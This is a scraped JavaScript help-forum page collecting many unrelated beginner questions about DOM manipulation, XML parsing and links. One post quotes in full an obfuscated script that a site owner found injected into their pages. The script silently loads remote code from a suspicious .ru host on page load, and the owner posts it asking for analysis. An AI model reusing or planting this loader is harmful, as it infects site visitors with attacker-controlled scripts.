JavaScript - New Link Nodes Are Nesting Instead Of Being Inserted Where They Should Be....
I am trying to write a little Greasemonkey script to insert links to open mp3s in the Google Player. It is supposed to insert "(play)" next to these links. (play) is a span element consisting of a text node "(", a link/"a" element, and another text node ")".
However, instead of inserting these new links next to each old link, it is putting them all in a row next to the very first mp3 link! For example, if there are 3 mp3 links found on the page, the following is inserted next to the first links: (play(play(play))) When the loop iterates over the whole array (i < links.length), the browser hangs until Firefox's slow script notification pops up and I click "Stop script"; then I see the nested links all next to the first mp3 link. Additionally, the url itself is strange. Just looking at it, you'd think I was running a recursive function, but I'm not! The URL with a limited for loop (x < 21): http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.hackerpublicradio.org/eps/hpr0924.mp3&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=tru e. Here is the script. I have been using the site http://www.hackerpublicradio.org for my testing. Code: var links = document.getElementsByTagName('a'); for (var i=0; i < links.length; i++) { var x = links[i]; var url=x.href; if (url.search(/.*\.mp3/i) != -1) { var plink = document.createElement("a"); plink.href = "http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=" + url + "&autoPlay=true"; plink.target = "_blank"; //open in new tab plink.appendChild(document.createTextNode("play")); var pspan = document.createElement("span"); pspan.style.fontSize = "90%"; var openb = document.createTextNode("("); var closeb = document.createTextNode(")"); pspan.appendChild(openb); pspan.appendChild(plink); pspan.appendChild(closeb); x.parentNode.insertBefore(pspan, x.nextSibling); } } No errors are showing up in the console. I've only tested it in Firefox 10. Please help me figure out where I'm going wrong! Similar TutorialsI need to get the ID of all the nodes withing a DIV. How do I do that? Thanks, C what's the fastest or easiest way to get all comment nodes into an Array? the solution only needs to work in ie8/w3 if that helps. I have your typical AJAX function that doesn't seem to be working quite well. :< Here's the relevant portion of the StateChange function: Code: function StateChange() { if(ttajax.readyState==4) { xmlDoc=ttajax.responseXML; if (!xmlDoc) {return;} var x=xmlDoc.documentElement.childNodes; var AlertVal = ''; for (var i=0;i<x.length;i++) { if (x[i].nodeType==1) { AlertVal += x[i].nodeName + ": " + x[i].firstChild.nodeValue + "\n"; // AlertVal += x[i].nodeName + ": " + x[i].childNodes[0].nodeValue + "\n"; } } alert(AlertVal); var gameid = xmlDoc.getElementsByTagName('gameid')[0].childNodes[0].nodeValue; // Other **** } } Note the testing function there... It DOES return the Node Name! However, the firstChild/childNodes[0] is "null", and I cannot pull the nodeValue from it. :< Here is a sample XML bit it's being tested on: Code: <?xml version="1.0" encoding="ISO-8859-1"?> <game> <gameid>16</gameid> <turn>24262</turn> <notturn>15010</notturn> <dateline>1275511672</dateline> <hcount>6</hcount> <ccount>4</ccount> <turn_html><![CDATA[ --Snipped-- ]]></turn_html> <board_html><![CDATA[ --Snipped-- ]]></logs_html> <cactivate>60580</cactivate> <cactivate>65401</cactivate> <cactivate>78720</cactivate> <cactivate>80275</cactivate> <sactivate>0</sactivate> <sactivate>1</sactivate> <sactivate>2</sactivate> <sactivate>3</sactivate> <sactivate>4</sactivate> <sactivate>5</sactivate> <sactivate>6</sactivate> <sactivate>7</sactivate> <sactivate>8</sactivate> </game> Any help would be appreciated, thanks. I got this code Code: Div= document.createElement("div"); Table= document.createElement("table"); Table.setAttribute("style","width:100px;height:100px;background-color : #708090;"); Table.setAttribute("bgColor","#708090"); tr=document.createElement("tr"); td=document.createElement("td"); text=document.createTextNode(aText); myTableBody = document.createElement("TBODY") td.appendChild(text); tr.appendChild(td); myTableBody.appendChild(tr); Table.appendChild(myTableBody); Div.appendChild(Table); document.getElementsByTagName('body').item(0).appendChild(Div); Now it all works fine with the exception of the Code: Table.setAttribute("style","width:100px;height:100px;background-color : #708090;"); so I was wondering how do I set the style attribute in the table node? So there is this string i need to parse as xml: Code: <station><code>GB0923A</code><city>ABERDEEN</city><population>215.000</population><component><name>Nitrogen dioxide (air)</name><unit>_micro;g/m3</unit></component><component><name>Nitrogen oxides (air)</name><unit>_micro;g NO2/m3</unit></component></station> Now what I do is: -use this function to create xml doc from string Code: function stringToXML(text){ if (window.DOMParser) { parser=new DOMParser(); xmlDoc=parser.parseFromString(text,"text/xml"); } else // Internet Explorer { xmlDoc=new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async="false"; xmlDoc.loadXML(text); } return xmlDoc; } -display it in that if statement: Code: if (xmlhttp.readyState==4 && xmlhttp.status==200){ var response= xmlhttp.responseText; xmlDoc= stringToXML(response); var text=""; text= text+ xmlDoc.getElementsByTagName("city")[0].nodeValue + "<br/>"; text= text+ xmlDoc.getElementsByTagName("code")[0].nodeValue + "<br/>"; text= text+ xmlDoc.getElementsByTagName("population")[0].nodeValue + "<br/>"; document.getElementById("test").innerHTML = text; document.getElementById("loading").style.display = "none"; } the stirng shown at the beggining is passed to "response" (var response= xmlhttp.responseText. Now for some reason all 3 values displayed are null... I am trying to figure why for last 2hrs but i cnt see any reason why they shouldnt be the actual values of nodes in the string... Any help would be appreciated. i am interested in using RaphaelJS for creating VML/SVG rounded corners etc, but unless i physically put the <script> right after the element to which it needs to be applied, i have to rely on the single DOM load() event. which causes a delay before any script is executed,...thus a FOUC (flash of unstyled content). i'm guessing there is no way to track when individual elements are loaded into the DOM via a CSS filter or similar, or another way around this other than having <script> in the body or just dealing the the load delay? thanks, Leon I'm developing a simple game that involves a system of interconnected nodes with unidirectional travel between nodes (similar to the circulation system!). The goal of the game is to get from a starting node to an ending node, which can be a variable number of nodes away. The program picks a random starting point, then randomly chooses one of its connecting nodes (cNodes) and pushes it onto a pathArray. A cNode is randomly chosen from this new node and it is pushed onto the pathArray. This continues for a designated number of turns, thus generating a pathArray (invisible to the player). The last element in the pathArray is the endNode and the goal of the puzzle. At each node the player is given two options of travel (though there may be more than two ways to go). One of these options MUST be the correct way if the player has not deviated from the path up until that point. If the player has deviated, this option can be any cNode. The other node is any cNode that does not lead to the endNode. The following code contains a simplified list of nodes that represents the content in my game. The function, however, is taken word for word. In this snippet, the pathArray & startNode have already been generated and I am trying to resolve how to assign "nodeChoice" as either the correct direction of travel (for a player on the correct path) or any random cNode (for a player who has deviated from the path). Keep in mind that the pathArray and cNodes lengths can be any size. Code: <script> //NODES: var nodeA = {name:"A"}; var nodeB = {name:"B"}; var nodeC = {name:"C"}; var nodeD = {name:"D"}; var nodeE = {name:"E"}; var nodeF = {name:"F"}; var nodeG = {name:"G"}; var nodeH = {name:"H"}; var nodeI = {name:"I"}; var nodeJ = {name:"J"}; var nodeK = {name:"K"}; //An array of all nodes in the system: var systemArray = [nodeA, nodeB, nodeC, nodeD, nodeE, nodeF, nodeG, nodeH, nodeI, nodeJ, nodeK]; //Connecting Nodes (cNodes): //(uni-directional, but cyclical) nodeA.cNodes = [nodeB, nodeC]; nodeB.cNodes = [nodeD, nodeE, nodeF]; nodeC.cNodes = [nodeF, nodeG]; nodeD.cNodes = [nodeI, nodeH]; nodeE.cNodes = [nodeJ]; nodeF.cNodes = [nodeK]; nodeG.cNodes = [nodeK]; nodeJ.cNodes = [nodeA]; nodeK.cNodes = [nodeA]; nodeI.cNodes = [nodeA]; nodeH.cNodes = [nodeA]; //The path chosen (generated from code not included here) var pathArray = [nodeA, nodeB, nodeE, nodeJ]; //nodeChoice will represent a cNode from any given node var nodeChoice; //chooseNode is supposed to assign nodeChoice the next element in pathArray if the player on on the right path (if at nodeB, nodeChoice = nodeE). //However, if the user has taken a different path, its cNodes will not be in pathArray in which case a random cNode is assigned to nodeChoice function chooseNode(_node) { //check each cNode to see if any are in pathArray for (var j = 0; j < _node.cNodes.length; j++) { //if a cNode is in pathArray, then we know to assign it nodeChoice... if (_node.cNodes[j] in pathArray) { nodeChoice = _node.cNodes[j]; console.log("choiceNode CORRECT: " + nodeChoice.name); //(for debugging purposes only) } //...otherwise don't do anything in this forLoop/ifStatement }; //if by this point nodeChoice is still undefined, meaning none of the current node's cNodes are in pathArray, assign it any one of its cNodes. if (nodeChoice == undefined) { nodeChoice = _node.cNodes[Math.floor(Math.random()* _node.cNodes.length)]; console.log("choiceNode INCORRECT: " + nodeChoice.name);//(for debugging purposes only) }; }; //Runtime: chooseNode(nodeB); //Result should be only nodeE.name since nodeD is not in the pathArray... console.log(nodeChoice.name); </script> ...however, nodeChoice is assigned either D, E or F randomly and we are given the troubleshooting statement "choiceNode INCORRECT: D (or) E (or) F", indicating that the if-in statement is always ignored. I know that the if-in statement doesn't work but am not sure how else to write it so that each cNode is compared the each element in pathArray, both of which can be of variable lengths... I have the following nested for loops: Code: for (i;i<tag('entry').length;i++) { content = content + '<tr>'; for (x;x<tag('header').length;x++) { content = content + '<td style="width:' + tdWidth + '%; border:solid 1px #000;">' + tag('item')[x].firstChild.nodeValue; + '</td>'; } x+=tag('header').length; content = content + '</tr>'; } For some reason, it seems to only loop the outer for loop once. BTW, tag() is defined, I just didn't include it. Help is appreciated. Thanks, Julian Hi everybody, I have an search form and I'm handling it with .htaccess like this: RewriteRule ^(.*)/search/(.*) /search.php?lang=$1&keyword=$2 The problem, i can't call the right URL from front-end. I have an search form with get and if i search something the url going to like this: domain.com/en/search/?keyword=test 404.. But if i type the URL manually like this: domain.com/en/search/test Than it's working well. So, I need some js code to put search keyword in the right form so i can cancel the <form>. Can somebody help me to write this code? Or any other ideas are welcome. So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> Here is the thing. I need to find the height of the layer but, it's not that simple.... I have a page with div layer where i insert text with innerHTML attribute into it. Depending on the ammount of text i have the HEIGHT of the layer is changing. if i leave the css part of it with no HEIGHT atribute at all, browser will not automaticaly calculate it and returns empty string on request layerName.style.height if i assign some value to it("..height: 200px;..") it will not change it after uploading the text. It will change the size but on request layerName.style.height i'll get same 200px. Please advise... I'm working on a technical document that has a glossary section. When I use a technical term, I link to its definition in the glossary then provide a return link to return the user to whence they came. But if I use that same term again, and if I want to link it to the glossary, I need to duplicate the glossary entry in order to provide a return link that returns them to the right place. Is there some way I could link them to the glossary and embed a unique return link in the link to the glossary?
I've been using this slidehsow but each time I click on a link (Newsflash) it goes to yahoo.com, even though each link goes to a different website, it looks like the last link of the last slidehsow is the one which controls all the slidehsow links link of slidshow as you can see from the code each link for each slidehsow should go to a diffrent website. Code: <div class="lof-main-outer"> <ul class="lof-main-wapper"> <li> <img src="images/791902news3.jpg" title="Newsflash 2" height="300" width="900"> <div class="lof-main-item-desc"> <h3><a target="_parent" title="Newsflash 2" href="http://www.google.com">Newsflash 2</a></h3> <p>The one thing about a Web site, it always changes! Joomla! makes it easy to add Articles, content,...</p> </div> </li> <li> <img src="images/435576news10.jpg" title="Newsflash 1" height="300" width="900"> <div class="lof-main-item-desc"> <h3><a target="_parent" title="Newsflash 1" href="http://www.gmx.com">Newsflash 1</a></h3> <p>Joomla! makes it easy to launch a Web site of any kind. Whether you want a brochure site or you are...</p> </div> </li> <li> <img src="images/641906img1.jpg" title="Newsflash 3" height="300" width="900"> <div class="lof-main-item-desc"> <h3><a target="_parent" title="Newsflash 3" href="www.godaddy.com">Newsflash 3</a></h3> <p>With a library of thousands of free Extensions, you can add what you need as your site grows. Don't...</p> </div> </li> <li> <img src="images/416719news7.jpg" title="Newsflash 5" height="300" width="900"> <div class="lof-main-item-desc"> <h3><a target="_parent" title="Newsflash 5" href="http://www.flickr.com">Newsflash 5</a></h3> <p>Joomla! 1.5 - 'Experience the Freedom'!. It has never been easier to create your own dynamic Web...</p> </div> </li> <li> <img src="images/416719news7.jpg" title="Newsflash 5" height="300" width="900"> <div class="lof-main-item-desc"> <h3><a target="_parent" title="Newsflash 5" href="http://www.intel.com">Newsflash 5</a></h3> <p>Joomla! 1.5 - 'Experience the Freedom'!. It has never been easier to create your own dynamic Web...</p> </div> </li> <li> <img src="images/416719news7.jpg" title="Newsflash 5" height="300" width="900"> <div class="lof-main-item-desc"> <h3><a target="_parent" title="Newsflash 5" href="http://www.yahoo.com">Newsflash 5</a></h3> <p>Joomla! 1.5 - 'Experience the Freedom'!. It has never been easier to create your own dynamic Web...</p> </div> </li> </ul> </div> Hi, I have a flash code, I need to add alink in this code, but I don't know how I can. This is the link I want to add " www.baligim.com" Thanks. Code: Code: <div id="wb_Flash1" style="margin:0;padding:0;position:absolute;width:300px;height:60px;text-align:left;z-index:0;"> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" <param name="movie" value="http://www.baligim.com/download/reklam-banner.swf"> <embed src="http://www.baligim.com/download/reklam-banner.swf" width="300" height="60"> </embed> </object></div> . Hello and good morning... I am a locking for a script, so i can open this: <div class="topprofile"><a href="index.php?side=editprofile#editpw">Edit password</div> After i have push in this, "topprofile" button, i want to have link like this: http://localhost/index.php?side=editprofile#editpw Can you plaese help me with this one? I know you may think... why is he doing this? There is a reason, this is just the simplified version. Code: <a href="URL TO COPY" id="COPYME">Next</a> <a href="COPIED URL HERE VIA JAVASCRIPT" >Next</a> I can't figure out why this isn't working. I'm calling a function from a link in an iFrame, but I want a second function (which builds upon the first) to be called a second after the first one. So I have this: <a href="javascriptarent.func1();setTimeout('parent.func2', 1000)">Click here</a> setTimeout works when it's the only function I'm calling, but it appears that having the two together erases the delayed function. Thoughts? ~gyz Hi all, I am new to this forum so hope this is the right place to post my question. I'm learning how to create JavaScript menus and using online generators and tutorials, I was able to get the following working. What I can't figure out, is how I can add link to the items. For example, I want to be able to click on the sub-menu and it takes me to test.html Would someone please help me please? Thanks in advance. Edit - Code removed |